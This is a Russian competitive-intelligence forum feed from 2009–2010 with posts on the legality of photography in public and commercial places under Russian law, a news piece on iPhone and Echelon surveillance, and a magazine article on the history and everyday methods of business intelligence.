конкурентная разведка на практике форум практиков конкурентной разведки http://www.a-rsb.ru/forum/index.php Wed, 08 Sep 2010 07:27:14 +0400 30 Профессиональная система для конкурентной разведки http://www.a-rsb.ru/forum/index.php?showtopic=861
Я убрал его рекламу. Если он не бот - придет и расскажет подробнее то, что спросят. Если же простой спамер - через денек-другой снесем ветку. FOG.]]> Tue, 08 Jun 2010 21:51:35 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=861 Искусство полиграфии http://www.a-rsb.ru/forum/index.php?showtopic=849 "За долгие годы я пришел к выводу, что детектор лжи представляет собой важное средство оценки пригодности персонала. Этот прибор в одинаковой степени полезен как для снятия с людей подозрений и ложных обвинений, так и для выявления человеческих слабостей и отступлений от нормы"
Аллен Даллес. Директор ЦРУ и руководитель американских секретных служб в Европе во время Второй Мировой войны.


Интересно, кто-нибудь работает с этими методиками? И если так, то какова эффективность?


]]> Fri, 19 Mar 2010 18:45:25 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=849 Интернет опасен, в России тоже! http://www.a-rsb.ru/forum/index.php?showtopic=850
Активнее других с социальными сетями работают агенты ФБР. Они создают вымышленные аккаунты в таких сервисах, как Facebook, MySpace, LinkedIn и Twitter. Эти анкеты используются как для выслеживания подозреваемых, так и для сбора различной информации о пользователях, к которым у властей нет претензий.

Кроме того, ребята из ФБР тщательно изучают размещенные в социальных сетях фотографии и видеоролики. Если на них человек запечатлен с драгоценностями или очень дорогой машиной, но его статусу это не соответствует, то его могут заподозрить в связях с криминалом. Также на заметку правоохранительные органы берут людей, которые фотографируются с оружием.

Интернет опасен, в России тоже

Однако не только американские власти выходят в социальные сети, у нас та же опасность. Например, российские судебные приставы таким образом ищут должников. Но похоже, все эти уловки действуют только с невнимательными и наивными пользователями. А, например, в случае с профессиональными русскими хакерами это не работает. А вы не боитесь пользоваться российскими и зарубежными социальными сетями?
Источник ЗДЕСЬ]]> Sun, 21 Mar 2010 18:53:09 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=850 Где и как можно фотографировать http://www.a-rsb.ru/forum/index.php?showtopic=843 Где и как можно фотографировать в общественных местах

http://yushchuk.livejournal.com/213162.html

Специалисты конкурентной разведки, которым приходится работать, с учетом статей Уголовного Кодекса, защищающих коммерческую тайну и неприкосновенность личности, достаточно хорошо знают (а точнее, понимают) вопрос - что можно снимать, и главное - КАК можно снимать, чтобы избежать проблем.

Специалисты знают, что, надо понимать законодательство, быть адекватным ситуации, и помнить, что лучшая маскировка - это естественное и объяснимое поведение (то бишь - грамотное легендирование своих действий). Поэтому у них редко возникают инциденты при фотосъемке, и еще реже эти инциденты перерастают в проблемы.



Однако в конкурентную разведку приходят и новички. Это хорошо, что приходят.

Но среди них, к сожалению, попадаются и те, кто считает, что может "держать Всевышнего за гениталии" (с), основываясь на общебытовой логике и общечеловеческой наглости.



Со временем (обычно годам к 35-ти) такие люди обтесываются, учатся и становятся профессионалами. Или же сходят с орбиты, потирая многие ушибленные места, и жалуясь на несправедливость устройства мира.

Для того, чтобы сделать первый вариант хотя бы немного более частым, чем второй - даю материалы Энциклопедии Анти РАО по фотосъемке. Там этот вопрос, на мой взгляд, показан наиболее компактно и понятно.

По моему мнению, полезны будут эти материалы и Службам Безопасности предприятий. Т.к. они помогут лучше охранять объекты, не подставляясь под статьи различных Кодексов за нарушение прав граждан.

FAQ о праве на фотосъемку (версия 0.6 от 2 февраля 2010 г.)

Источник
Фото с сайта club.foto.ru


В сборнике разобраны наиболее часто встречающиеся вопросы о правомерности запретов фотосъемки на территории различных объектов: магазинов, улиц, железных дорог, государственных учреждений, и т.п.

Где можно снимать, а где нельзя?
В общем случае ответ на этот вопрос выглядит так: снимать можно почти все, что может попасть в объектив вашего фотоаппарата (далее под «фотоаппаратом» будет пониматься и видеокамера, если прямо не указано иное).
Право «право свободно искать, получать, передавать, производить и распространять информацию любым законным способом» закреплено в статье 29 Конституции РФ. Кроме того, существует закон «Об информации, информационных технологиях и о защите информации», в седьмой статье которого дано определение «общедоступной информации“:

"1. К общедоступной информации относятся общеизвестные сведения и иная информация, доступ к которой не ограничен.
2. Общедоступная информация может использоваться любыми лицами по их усмотрению при соблюдении установленных федеральными законами ограничений в отношении распространения такой информации»

В девятой статье данного закона говорится также о том, что любые ограничения доступа к информации должны устанавливаться только федеральным законом.
Это – базовые нормативные акты о сборе информации, далее мы будем рассматривать конкретные ситуации. (При этом мы не будем останавливаться на законодательстве о средствах массовой информации: оно гораздо лучше защищает права фотографа).



<...> – это частная собственность, а собственник может устанавливать на своей территории любые ограничения
Обычно на «право собственника“ ссылаются тогда, когда необходимо обосновать запрет съемки на территории магазинов, кафе, и тому подобных организаций. При этом в качестве обоснования часто приводится статья 209 Гражданского кодекса, повествующая о содержании права собственности:

"2. Собственник вправе по своему усмотрению совершать в отношении принадлежащего ему имущества любые действия, не противоречащие закону и иным правовым актам и не нарушающие права и охраняемые законом интересы других лиц, в том числе отчуждать свое имущество в собственность другим лицам, передавать им, оставаясь собственником, права владения, пользования и распоряжения имуществом, отдавать имущество в залог и обременять его другими способами, распоряжаться им иным образом.»

Ссылающийся совершает фундаментальную ошибку, причисляя сбор информации об имуществе к «пользованию» или «распоряжению» этим имуществом. Продолжая подобный ход мыслей, можно объявить «пользованием» вообще любой сбор информации, включая пристальное рассматривание.
Раньше «информация» была включена, отдельно от «вещей», в список «объектов гражданских прав» из статьи 128 ГК, однако, со вступлением в действие четвертой части Гражданского кодекса она была оттуда исключена. Таким образом, сейчас гражданское законодательство вообще не регулирует распространение информации, за исключением тех ее видов, которые отнесены к «интеллектуальной собственности».
В Гражданском кодексе есть только одна статья, охраняющая изображение само по себе – это ст. 152.1, «Охрана изображения гражданина». Охраны «изображения собственности гражданина» закон не предусматривает.

К тому же, как мы помним, ограничения на доступ к информации могут устанавливаться только федеральными законами. Понятие «доступа» включает в себя не только «получение информации», но и «возможность ее использования», таким образом, любое ограничение такой возможности тоже должно устанавливаться в законе. Запрещая обрабатывать информацию о своей вещи, собственник нарушает, в том числе, и статью 209 ГК, поскольку его действия нарушают «права и охраняемые законом интересы других лиц».
Если же речь идет об организациях, оказывающих услуги, то на них распространяется закон "О защите прав потребителей". Его восьмой статьей закреплена обязанность продавца предоставить покупателю информацию о товарах. То, как покупатель будет предоставленную информацию обрататывать, и с помощью чего фиксировать, законом не ограничивается.

Кроме этого, статьей 16 данного закона закрепляется недействительность подобных условий договора:

"1. Условия договора, ущемляющие права потребителя по сравнению с правилами, установленными законами или иными правовыми актами Российской Федерации в области защиты прав потребителей, признаются недействительными.»

Правовые акты в этой области, в соответствии со ст. 1 ЗоЗПП, принимает Правительство, поэтому любые ограничения прав потребителей должны содержаться в актах, принятых им, магазин или иное заведение не может их вводить самостоятельно. А поскольку «потребителем» считается гржданин, не только приобретающий что-то, но и «имеющий намерение» это сделать, то ЗоЗПП действует уже с того момента, когда он только вошел в магазин с этим намерением.
Наиболее популярным документом в этой области являются «Правила продажи отдельных видов товаров», в которых подобных запретов не содержится. Не исключено, что они есть в других нормативных актах Правительства, регулирующих какие-то другие услуги, но автору данного сборника ничего о них не известно.
Пункт, позволяющий хоть как-то обосновать запрет на съемку, содержится только в «Правилах оказания услуг общественного питания“:

"5. Исполнитель вправе самостоятельно устанавливать в местах оказания услуг правила поведения для потребителей, не противоречащие законодательству Российской Федерации (ограничение курения, запрещение нахождения в верхней одежде и другие).»

Однако, ограничение на сбор информации противоречит Конституции и закону «Об информации…»
Любые запреты на фото — и видеосъемку могут вводиться только тогда, когда она перерастает в «нарушение общественного порядка» и начинает мешать другим посетителям.
Цены и внешний вид полок магазина – это коммерческая тайна, поэтому фотографировать их запрещено
Согласно закону «О коммерческой тайне» (ст. 3), к ней может быть причислена информация, «которая имеет действительную или потенциальную коммерческую ценность в силу неизвестности ее третьим лицам, к которой нет свободного доступа на законном основании и в отношении которой обладателем такой информации введен режим коммерческой тайны». То есть, для того, чтобы какая-то информация стала «тайной», к ней нужно прежде всего ограничить доступ. Предметы, находящиеся в общественном месте, ею быть не могут по определению.
Кроме этого, для ввода «режима коммерческой тайны» необходимо выполнить некоторые формальности, прежде всего – принять меры по охране конфиденциальности информации, описанные в ст. 10 закона:

"1. Меры по охране конфиденциальности информации, принимаемые ее обладателем, должны включать в себя:

1) определение перечня информации, составляющей коммерческую тайну;
2) ограничение доступа к информации, составляющей коммерческую тайну, путем установления порядка обращения с этой информацией и контроля за соблюдением такого порядка;
3) учет лиц, получивших доступ к информации, составляющей коммерческую тайну, и (или) лиц, которым такая информация была предоставлена или передана;
4) регулирование отношений по использованию информации, составляющей коммерческую тайну, работниками на основании трудовых договоров и контрагентами на основании гражданско-правовых договоров;
5) нанесение на материальные носители (документы), содержащие информацию, составляющую коммерческую тайну, грифа «Коммерческая тайна“ с указанием обладателя этой информации (для юридических лиц — полное наименование и место нахождения, для индивидуальных предпринимателей — фамилия, имя, отчество гражданина, являющегося индивидуальным предпринимателем, и место жительства).
2. Режим коммерческой тайны считается установленным после принятия обладателем информации, составляющей коммерческую тайну, мер, указанных в части 1 настоящей статьи.»

…то есть, уже при отсутствии на носителе информации надписи «коммерческая тайна» можно говорить о несоблюдении соответствующего режима. Короче говоря, запрет на съемку со ссылкой на закон о КТ не выдерживает элементарной критики.



Внешний вид <...> охраняется авторским правом, поэтому снимать его запрещено
Если произведение, охраняемое авторским правом, находится в месте, открытом для свободного посещения, то его фотосъемка разрешена статьей 1276 Гражданского кодекса. С небольшими исключениями: запрещено снимать такое произведение так, чтобы оно являлось основным объектом съемки, а также запрещено использовать изображение «в коммерческих целях» (даже если оно – не «основной объект», а просто попало в кадр).
Но эти запреты действуют только в тех случаях, если съемка производится не «для себя». Если же фотографирование или видеосъемка осуществляются «в личных целях», действует уже статья 1273 ГК, разрешающая снимать что угодно. Единственное ограничение, имеющее отношение к съемкам – запрещено делать так называемые «экранные копии» фильмов (п. 1, пп. 5).

Запрещено снимать страницы книг в библиотеке, поскольку это нарушает авторские права
Библиотекам статьей 1275 ГК предоставлено право осуществлять по заказу читателей так называемое «репродуцирование» отдельных статей и малообъемных произведений. «Репродуцирование» – это изготовление «бумажных копий», простая фотосъемка к нему не относится:

«Под репродуцированием (репрографическим воспроизведением) понимается факсимильное воспроизведение произведения с помощью любых технических средств, осуществляемое не в целях издания. Репродуцирование не включает воспроизведение произведения или хранение его копий в электронной (в том числе в цифровой), оптической или иной машиночитаемой форме, кроме случаев создания с помощью технических средств временных копий, предназначенных для осуществления репродуцирования.»

Если же вы принесли в библиотеку свой фотоаппарат, то закон (уже упомянутая статья 1273 ГК) разрешает снимать все, что угодно. Нарушить авторские права можно, только отсняв ноты или книгу целиком, а затем их распечатав: эта статья запрещает репродуцирование «книг (полностью) и нотных текстов».
Многочисленные запреты на пользование своей собственной техникой для снятия копий имеют под собой одно-единственное рациональное обоснование: таким образом библиотека вынуждает читателей пользоваться платным ксероксом. Такие действия называются «навязанной услугой“ и противоречат статье 16 ЗоЗПП:

"2. Запрещается обусловливать приобретение одних товаров (работ, услуг) обязательным приобретением иных товаров (работ, услуг). Убытки, причиненные потребителю вследствие нарушения его права на свободный выбор товаров (работ, услуг), возмещаются продавцом (исполнителем) в полном объеме.»

Снимать запрещено, потому что в кадр может попасть товарный знак магазина

Не любое изображение товарного знака нарушает права его владельца. Согласно статье 1484 ГК, под «использованием ТЗ» понимаются только такие действия, которые совершаются для индивидуализации товаров, работ или услуг, то есть, нанесение товарного знака на изделия, использование его в рекламе товаров, и т.п. Простое фоготрафирование товарного знака не является его использованием в том смысле, который вкладывает в это понятие закон. Нарушить права владельца ТЗ на этапе фотосъемки невозможно.
Сфотографировав человека без его согласия, вы нарушаете его право на собственное изображение
Статья 152.1 Гражданского кодекса
, предусматривающая охрану изображения гражданина, не запрещает получения таких изображений, нарушить ее можно только после их несанкционированного обнародования и дальнейшего использования, то есть, уже после того, как оно стало доступным неограниченному кругу лиц без согласия того, кто изображен на фотографии.
Однако, из этого правила есть исключения: использовать чье-либо изображение можно, если оно используется «в государственных, общественных или иных публичных интересах», либо получено при съемке в общественном месте, и изображенное лицо не является его «основным объектом». То есть, если кто-то случайно попал в угол кадра, он не имеет право запретить использовать этот снимок. Хотя, понятие «основного объекта» в законе не определено, и оставлено на усмотрение (возможного) суда (как и «государственные» и прочие «интересы»).
Сфотографировав человека без его согласия, вы нарушаете его право на неприкосновенность частной жизни

События, происходящие с человеком в общественном месте, в общем случае не могут составлять «тайну частной жизни», хотя возможны исключения. Однако, при фотографировании в общественных местах снимающий не знает и не может знать, что нарушает личную тайну кого-то, кто попал в кадр, а значит, и привлечь к ответственности за это невозможно.
По крайней мере, такого мнения придерживался суд в одном из первых в России дел о нарушении неприкосновенности частной жизни, иску участницы конкурса красоты к газете «Центр Азии», опубликовавшей ее фотографию во время курения:

«В соответствии со ст. 151 ГК РФ взыскание компенсации за причиненный моральный вред может производиться при наличии вины нарушителя, степень которой принимается во внимание при определении размеров компенсации. В данном же случае вины редакции газеты „Центр Азии”нет, так как редакция не предполагала и не должна была предполагать, что курение Куулар А.О. в общественном месте может являться ее личной тайной.“

Запрещено снимать железную дорогу, поскольку это – стратегический объект

В существующих «Правилах оказания услуг по перевозкам на железнодорожном транспорте пассажиров, а также грузов, багажа и грузобагажа для личных, семейных, домашних и иных нужд, не связанных с осуществлением предпринимательской деятельности» запрета на фото — и видеосъемку не содержится.

Запрет на съемки железнодорожных объектов есть в «Положении о проведении теле-, видео-, кино-, и фотосъёмок на объектах инфраструктуры общего пользования, принадлежащих ОАО „РЖД“", утвержденном Распоряжением ОАО РЖД №1693p от 12 марта 2004 г. Однако, РЖД может устанавливать какие-то правила только для своих работников, поэтому нет никаких оснований заставлять выполнять этот документ посторонних лиц.

Вдобавок, это положение „не распространяется на съемки, предназначенные для личного пользования и проводимые в местах обслуживания пассажиров на вокзалах, станциях, остановочных пунктах, не мешающие и не создающие неудобств и опасности для передвижения пассажиров“ (п. 3 Положения). Регулирует оно только создание новостных сюжетов для СМИ и фильмов, съемки, результат которых будет использован „в коммерческих целях“, и т.п. Обычную любительскую фотосъемку оно не запрещает.

Запрещена фотосъемка с борта самолета

Статья 11.17 КоАП устанавливает ответственность за «нарушение правил фотографирования, видео — и киносъемки либо пользования средствами радиосвязи с борта воздушного судна». Статья 75 Воздушного кодекса

говорит о том, что «использование фото — и киносъемки и других способов дистанционного зондирования земли с борта воздушного судна допускается в порядке, установленном Правительством Российской Федерации». Однако, о самих этих правилах, утвержденных именно Правительством, ничего не известно. Есть основания полагать, что их просто нет, а значит, нарушить их невозможно.
Сейчас эта деятельность регулируется разделом VII (п.п. 7.12–7.20) Федеральных авиационных правил «Подготовка и выполнение полетов в гражданской авиации Российской Федерации» (ФАП-128). Они были утверждены приказом Минтранса России от 31 июля 2009 года №128. То, что описано в них, не имеет ничего общего с любительской фотосъемкой из окна самолета. Обычная съемка не является «дистанционным зондированием земли», под данным понятием традиционно понимается аэро — и спутниковая фотосъемка земной поверхности с помощью специальной аппаратуры.

В существующих Федеральных авиационных правилах «Общие правила воздушных перевозок пассажиров, багажа, грузов и требования к обслуживанию пассажиров, грузоотправителей, грузополучателей»

запрета на фотосъемку не содержится, более того – ими прямо разрешено провозить при себе фотоаппараты и видеокамеры (п. 135 Правил).
Существуют ограничения на пользование электронными приборами при взлете и посадке, связанные с безопасностью. Дополнительные запреты на съемку, установленные авиакомпанией для пассажиров, нарушают статью 16 ЗоЗПП, о которой уже говорилось выше.
Запрещено снимать стратегические объекты, поскольку эти сведения относятся к государственной тайне

«Закон о запрете съемки стратегических объектов» – это, пожалуй, второй по популярности аргумент за запрет фотосъемки, после «права собственника». Разумеется, такого закона не существует.
Засекречивание каких-либо сведений регулирует закон «О государственной тайне». . В нем (ст. 5) определен перечень сведений, которые составляют государственную тайну. Также подобный перечень содержится в указе Президента, с перечислением органов власти, которые уполномочены засекречивать конкретные сведения.

, с перечислением органов власти, которые уполномочены засекречивать конкретные сведения.
Важно помнить, что перечни эти носят ориентирующий характер, поскольку представляют собой «совокупность категорий сведений, в соответствии с которыми сведения относятся к государственной тайне и засекречиваются на основаниях и в порядке, установленных федеральным законодательством». Проще говоря, не любая информация указанных категорий относится к ГТ, необходимо еще произвести «отнесение» такой информации к гостайне, и ее засекречивание.
Этот процесс регулируется третьим разделом закона о ГТ, он включает в себя экспертную оценку обоснованности такого отнесения и присвоение сведениям соответствующего грифа секретности. На носители секретных сведений наносятся реквизиты, описанные в ст. 12 закона о ГТ, Если вы не видите таких реквизитов, то никакой «государственной тайны» нет. Секретные сведения вы без допуска не увидите, и конечно же, никто не сможет «засекретить» какой-нибудь мост, рядом с которым и по которому ежедневно проходят тысячи человек.
Метро – это стратегический объект, поэтому снимать там запрещено

Разумеется, услуга перевозки в метро – такая же услуга, как и любая другая. И на нее тоже действует статья 16 ЗоЗПП: любые ограничения при ее оказании должны устанавливаться только Правительством. Так что запреты, записанные в «правилах пользования», по большей части незаконны, при условии, что фотосъемка не нарушает порядок, вспышка не слепит машинистов, и т.п.

В <...> запрещена профессиональная съемка<, то есть, съемка со штативом и вспышкой>

Не совсем понятно, чем можно объяснить запрет «профессиональной съемки», скорее всего, это «калька» с зарубежного законодательства. Если фотограф снимает не «для себя», а в связи с какими-то служебными потребностями или для использования изображений «в коммерческих целях», то в данной ситуации не действует закон «О защите прав потребителей», однако, применимы Конституция и закон «Об информации…» Поэтому запрет на съемку незаконен, независимо от того, в каких целях она осуществляется.

В музеях <администрация может запретить снимать / можно снимать, только купив право на фотосъемку>

Статьей 36 закона «О музейном фонде РФ и музеях в РФ» за музеями закреплено право на публикацию предметов и коллекций, находящихся в их фондах. Музей может запрещать использование их изображений в коммерческих целях, а также выпуск сувенирной продукции с такими изображениями либо изображениями зданий самих музеев, а также объектами, находящимися на их территории. Кроме этого, музею принадлежит право первой публикации музейных предметов и музейных коллекций, в этом случае у них возникает так называемое «право публикатора", предусмотренное статьей 1337 ГК.

Все эти права действуют независимо от того, охраняется ли изображение авторским правом, и зарегистрировано ли оно как товарный знак. Однако, сама по себе фотосъемка их не нарушает, нарушения могут начаться только после публикации изображения или его использовании в коммерческих целях.
Ограничения на доступ к музейным предметам могут быть установлены только в тех случаях, когда они находятся в неудовлетворительном состоянии, на реставрации или в хранилище музея. Сюда же относится и запрет на съемку со вспышкой, если это может повредить состоянию объекта.
Что же касается продажи музеями „права на съемку“, то она также незаконна. Фактически музей сначала незаконно ограничивает права посетителей на сбор информации, а затем – убирает за плату данное ограничение.

Еще с советских времен сохранился запрет на съемку <...>

Советские нормативные акты, даже если они не отменены, зачастую фактически не действуют, поскольку после их принятия вступили в силу новые нормативные акты в этой же сфере. При ссылке на советский закон необходимо разбираться в каждом конкретном случае, в какой части он фактически применяется. К примеру, если речь идет об оказании услуг, то действует ЗоЗПП со статьей 16 и запретом ограничивать потребителя иначе, чем «правилами», принятыми Правительством.
Фотосъемка на Красной площади и у Кремля регламентируется приказом ФСО
Согласно закону «О государственной охране» (ст. 1), к «охраняемым объектам" относятся здания, в которых размещаются органы государственной власти, а также прилегающие к ним территории.

Продолжение - здесь http://yushchuk.livejournal.com/213384.html]]> Fri, 19 Feb 2010 20:08:16 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=843 За нами следят http://www.a-rsb.ru/forum/index.php?showtopic=678
Эту информацию подтвердили и в Heise Security. Правда, с оговоркой. Немецкие специалисты, официально тестировавшие гаджет, не уверены в том, что после каждого запроса происходит идентификация аппарата. Ведь устройство является закрытым, программное обеспечение для него не поставляется в исходных кодах, а связь, с помощью которой iPhone работает в сети, шифруется. Соответственно, характер и объем передаваемой на сервера Apple информации остаются под вопросом. Впрочем, эксперты по IT-безопасности из Германии не отрицают, что версия хакеров может быть верной.

«Как бы ни обстояли дела в реальности, такой скандал едва ли поспособствует популяризации данного гаджета, – заявил РБК daily IT-менеджер крупной московской компании Владимир Коновалов. – Ведь iPhone стоит очень дорого. Его потенциальными пользователями являются люди обеспеченные. В том числе – крупные бизнесмены, владеющие ценной коммерческой информацией. Соответственно они предпочтут не рисковать. Хотя, сами того не зная, они и без iPhonе находятся под информационным прицелом». По мнению г-на Коновалова, скандал едва ли может быть инспирирован конкурентами Apple. Ведь практически все компании, представленные на мировом рынке IT и мобильной связи, не обеспечивают полной конфиденциальности. Для специалистов это давно уже не является тайной за семью печатями. «Информационной безопасности человека угрожает сам факт наличия у него не то что смартфона, а заурядного мобильника, – считает Владимир Коновалов. – Программное обеспечение любого компьютера также может являться инструментом для шпионажа».

Скандалы, связанные с электронным шпионажем за пользователями, случаются регулярно. Самый громкий из них произошел еще в 2000 году. В Европарламенте проходили слушания о том, как США и Великобритания с помощью системы электронного шпионажа «Эшелон» воровали коммерческие секреты в нескольких странах Старого Света. Экс-министр юстиции Франции Элизабет Гигу прямым текстом утверждала, что американская электронная сеть подслушивания используется для экономического шпионажа. Американцы же в ответ небезосновательно заявляли, что Россия, Китай и Евросоюз также имеют средства нападения на коммерческие компьютерные сети, аналогичные «Эшелону».

Система «Эшелон» существует уже более 50 лет. Создавалась она противникам и СССР как универсальное информационное оружие для ведения «холодной войны». Система собирает информацию через Интернет, электронную почту, телефон, факс, телекс. Все сообщения, переданные вышеуказанными путями, фиксируются и обрабатываются очень мощными компьютерами. Отбор информации производится по ключевым словам, выражениям или даже тембру голоса. База данных постоянно обновляется в соответствии с актуальными задачами по сбору информации. По похожему принципу работают интернет-поисковики. Но «Эшелон», в отличие от них, в режиме онлайн в зависимости от текущих установок «решает», интересна ему та или иная передаваемая информация или нет. Контроль мирового информационного пространства ведется почти тотальный. Однако пока по техническим причинам вся информация обработана быть не может. Процесс обработки происходит фрагментарно: только по тем направлениям, которые интересны кураторам системы.

«Работа «Эшелона» курируется Агентством национальной безопасности (АНБ) США, – заявил РБК daily руководитель службы стратегического планирования Ассоциации приграничного сотрудничества Александр Собянин. – «Ключи» от любых разработанных и внедренных программ и технологий АНБ обязаны предоставлять абсолютно все компании, работающие на американском рынке IT-технологий и мобильной связи. Через эти компании «всевидящее око» проникает и в другие страны мира. В этом контексте iPhonе, как и любая новинка, конечно, привлекает внимание АНБ». Г-н Собянин считает, что сбор информации «Эшелоном» и аналогичными российскими, китайскими и европейскими системами происходит как в коммерческих целях, так и в интересах спецслужб.

В получении коммерческой информации и информации о клиентах заинтересованы сотрудничающие с АНБ компании. Это помогает им эффективнее планировать свою деятельность и получать большие прибыли. Спецслужбы не препятствуют этому, так как у них имеются свои интересы. Во-первых, сбор компромата и разведывательных данных. Во-вторых, посредством систем электронного шпионажа и диверсий ведутся войны. Причем не только информационные. Контролируя средства связи и компьютеры противника, спецслужбы фактически держат его за горло. В любой момент руку можно сжать, парализовав управление войсками. «Технология обработки полученной путем электронного шпионажа информации будет совершенствоваться, – считает Александр Собянин. – В перспективе «хозяева» электронных шпионских систем смогут не только постоянно держать в поле зрения буквально каждого человека, но и знать о нем все».

]]> Sun, 05 Apr 2009 22:01:23 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=678 Сколько стоит секрет ваших побед? http://www.a-rsb.ru/forum/index.php?showtopic=828 Сколько стоит секрет ваших побед?

Источник: Журнал "the CHIEF" (ШЕФ) via блог valaam

Кто-то успел подсчитать, что серьезная конкурентно-разведывательная кампания целесообразна для бизнеса с оборотом не менее $700 000 в год. Однако малый и средний бизнес тоже не упускает случая узнать секреты ближнего .

Важно знать, какой бюджет выделить на секрет.

Конкурентная разведка появилась одновременно с самим понятием конкуренции. То есть – давным-давно. Возможно, во времена могущества ганзейских купцов или Ост-Индской торговой Компании.

Первые задокументированные случаи из новейшей истории относятся к началу двадцатого века. Пока что дело касалось только военных технологий .

На войне как на войне

Перед Первой мировой несколько офицеров российского инженерного и артиллерийского управлений, специалисты конструкторских бюро проникли на завод фирмы “ Сименс-Шуккерт ” по производству прожекторов, заводы Круппа в Дюссельдорфе, заводы компании “ Рейнметалл ” в Эссене и “ Карл Цейсс ” в Йене.

Операцию помогла осуществить агентура, завербованная в Берлине. Находившийся в командировке капитан Михаил Костевич завербовал чертежника на заводе, производившем снаряды. Хотя в 1912 году чертежник погубит разведчика, выкрав для него из сейфа подлинные чертежи, которых немедленно хватились.

После появления на карте мира Государства Рабочих и Крестьян охота на технические секреты развернулась вовсю. За новинками авиации, авто- и судостроения следят специальные отделы ОГПУ ( НКВД ) и военной разведки. Самым крупным успехом начала 30-х до сих пор считается покупка у США за смешные деньги экспериментального образца танка Уолтера Кристи. Будущего “ отца-основателя ” советской серии БТ вывозят в СССР под видом мирного трактора.

Немало французских военных секретов раздобыли резиденты разведуправления Красной армии, латыши Альфред и Мария Тылтынь. С Францией связан один из курьезов той поры. В начале 1941 года помощник военного атташе майор Иванов отослал шифрограмму в Центр: “ Посылаю образец брони французского танка “ Гочкисс ” (Н-39), отпиленный мной во время посещения завода ”.

Охота велась и на наши секреты. Правда, первых успехов западная разведка добилась в ходе советско-финской войны. Тогда в руки противника впервые (и в массовом количестве) попали образцы советских самолетов, танков и орудий.

Зато после Второй Мировой советская инженерия долго пыталась переварить технологии, позаимствованные в подконтрольной части Европы в порядке репараций. Образцы, оснастка и целые технологические линии, вывезенные с вражеских заводов, дали некоторый импульс развитию советской промышленности. Этот импульс, впрочем, был растрачен уже к началу 70-х.

Тем временем американцы охотно привечали европейских ученых и инженеров . И разрабатывали системы грантов, позволяющих пользоваться их услугами на расстоянии.

Но это – тема для другого разговора.

Свои секреты ближе к делу

Не случайно, что конкурентная разведка началась именно с военной промышленности. В конце концов, война – тоже бизнес, только масштабы крупнее. Это вообще та область, где принципы ведения войны и бизнеса предельно сближаются.

Кстати, советский майор Иванов , рыцарь плаща и напильника, был только первой ласточкой. Сравнительно недавно несколько американских аэрокосмических фирм закрыли свои заводы для японских посетителей, обнаружив, что те специально одевают обувь на мягкой резиновой подошве. Так они собирали стружку специальных металлических сплавов для дальнейшего анализа…

Одно принципиальное различие между военным делом и бизнесом все же есть.

Военные разведчики, фигурально выражаясь, охотились за железом . В наше время компаниям важен софт .

Серая кошка в темной комнате

До сих пор конкурентным преимуществом большинства российских компаний остаются двойная бухгалтерия и различные схемы ухода от налогов. Именно поэтому многие аналитики считают, что в России еще не настало время полноценной конкурентной разведки.

Однако, ведя двойную бухгалтерию, предприятия и их руководители все же выпускают “ в свет ” достаточно информации. Так, даже из данных, публикуемых в СМИ, опытный аналитик может составить любопытное заключение.

Но чтобы получить нужные сведения, нужно ставить задачи максимально четко. Не просто “ узнать все о директоре компании N” , а выявить факты, определяющие отношение N к некоей области бизнеса .

Это напоминает блуждание в поисковых системах Интернета. Только в строке поиска пришлось бы писать слишком много слов.

Впрочем, без сбора информации все же не обойтись. Этот пункт следует вторым номером после “ постановки задачи ”.

Те руководители, которые берут КР на вооружение, определяют четыре основных метода сбора информации для “ внутреннего пользования ”:

- Метод “ побочного продукта ” . На столе лежат кипы отчетов, выполненных разными подразделениями. Руководители, которые в состоянии переварить весь этот объем, попадаются редко. Некоторые находят в этом почти мазохистское удовольствие .

- “ Нулевой метод ” исходит из убеждения в бесполезности любых отчетов. Здесь информация поступает от консультантов, постоянно отслеживающих ситуацию в бизнесе. Минус – приходится выслушивать мнения, не связанные между собой. Плюс – продукт, выдаваемый консультантами, содержит некоторое количество сведений, а не только сырую информацию.

- Метод “ ключевых индикаторов ” . Руководитель интересуется только отчетами о прибылях и убытках компании или же жалобами клиентов, возвратом продукции на склад. Возможно, руководителю сообщаются лишь те данные, показатели по которым превышают норму. Плюс – мгновенные сигналы о критических точках, минус – отсутствие идей по выходу из положения.

- Метод “ тотального изучения ” . Довольно затратен… говоря проще, вы можете просто не успеть.

Простые движенья

Многие аналитики и менеджеры начинают работу с составления “ профилей ” конкурентов. Большая часть “ профилей ” заполнена информационным мусором, который легко получить. Так, перечень дочерних предприятий конкурента по всему миру интересен лишь при разработке стратегических решений .

Здесь есть опасность увлечься сбором малоценных фактов. Если вы конкурируете с автозаводом А, имеет ли значение, как он назывался раньше? Стремитесь выйти на рынок со своим продуктом? – так ли важно для вас, что говорится в “ Заявлении о намерениях ” компании-конкурента?

Между тем по настоящему эффективные методы деловой разведки просты до смешного. Вот, например, чертежи зданий. Владельцы ресторанов обязаны сдавать их “ куда следует ” . Оценить максимальное количество посетителей, на которое рассчитан ресторан можно с помощью такого чертежа и планов противопожарной безопасности. Количество мест на автостоянке у ресторана также даст полезную информацию. Тактика “ башни из слоновой кости ” иногда не дает полной картины. Стоит выйти из офиса и увидеть, что творится снаружи. Отсюда и ценность продавцов как источников информации.

Пример:

Один руководитель погрузочных работ каждый день в течение месяца ходил с секундомером в руке, отслеживая , как рабочие конкурента загружают грузовики. Ему удалось увидеть и подсчитать, сколько коробок и мешков грузят рабочие. В дождь, стараясь не поскользнуться, рабочие выполняли на 15% меньше нормы.

Такие простые наблюдения, как ни странно, бывают очень эффективными. Но это не означает, что ими надо ограничиваться.

Так, при выборе места для ресторанов McDonalds Рэй Крок применял разведку с воздуха. Летая над новостройками, он видел , где строятся дома и прокладываются дороги. Да и “ народные тропы ” с воздуха были хорошо видны. Выбранные места для ресторанов находились на пересечении мощных людских потоков.

Все фирмы делают “ это ”

Выведывание чужих секретов – одно из любимых занятий многих западных корпораций. Американская исследовательская компания The Futures Group предполагает, что промышленный шпионаж – прослушивание телефонов, взлом компьютерных систем и даже сортировка мусора – практикуется 60% всех американских компаний. 82% фирм с годовым доходом больше 10 млрд. долларов прибегают к шпионажу на регулярной основе.

